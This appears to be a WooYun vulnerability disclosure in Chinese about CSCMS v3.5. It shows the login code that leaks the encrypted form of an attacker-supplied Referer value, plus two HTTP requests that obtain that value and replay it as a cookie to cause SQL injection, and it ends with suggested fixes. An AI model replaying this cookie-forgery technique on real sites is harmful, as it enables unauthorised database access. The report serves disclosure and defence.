WooYun-2014-80370:程氏舞曲CMS某泄露,导致sql注入

漏洞作者: 路人甲

来源:http://www.wooyun.org/bugs/wooyun-2014-080370

简要描述

程氏舞曲CMS某泄露,导致严重问题

详细说明

这个厂商非常给力,作为白帽子,也非常乐意~!

cookie加密后的字符泄漏。可以替换其他字段,导致SQL等,严重漏洞。

文件:C:\WWW\cscms_v3.5_utf8\app\controllers\open.php

//第三方登入入口

    public function login()

    {

              if(CS_Appmode==2) exit($this->CsdjSkins->Msg_url('第三方登入已经关闭!',Web_Path));

              $urldata['log_fhurl']=$_SERVER['HTTP_REFERER'];//泄漏点

              $urldata['log_state']=md5(uniqid(rand(), TRUE)); //CSRF protection;

              $this->session->set_userdata($urldata);

              $ac = $this->security->xss_clean($this->uri->segment(3));   //方式

              $log_url="http://**.**.**.**/denglu?ac=".$ac."&appid=".CS_Appid."&redirect_uri=".site_url("open/callback")."&state=".$urldata['log_state']."&getdate=".time();

              header("Location: $log_url"); 

    }

我们提交如下,看一下,程序加密后的字符。

GET /cscms_v3.5_utf8/index.php/open/login/qq HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en

Accept-Encoding: gzip,deflate

Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: xxoo'

可以看到加密后的字符:log_fhurl=L8kxDzdqKNy9%2F2Qs0g

利用这个功能,加密我们想要的任意代码。

替换其他地方就构成注入。

GET /cscms_v3.5_utf8/index.php/user/ulog/index/user HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en

Accept-Encoding: gzip,deflate

Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://**.**.**.**/cscms_v3.5_utf8/index.php/user/

Cookie: cs_id=L8kxDzdqKNy9%2F2Qs0g

漏洞证明

修复方案

方案1:加密过程加入字段的判断,使得不能替换使用

方案2:调用cookie的后,在 addslashes 一下。

或者有其他办法,共同进步。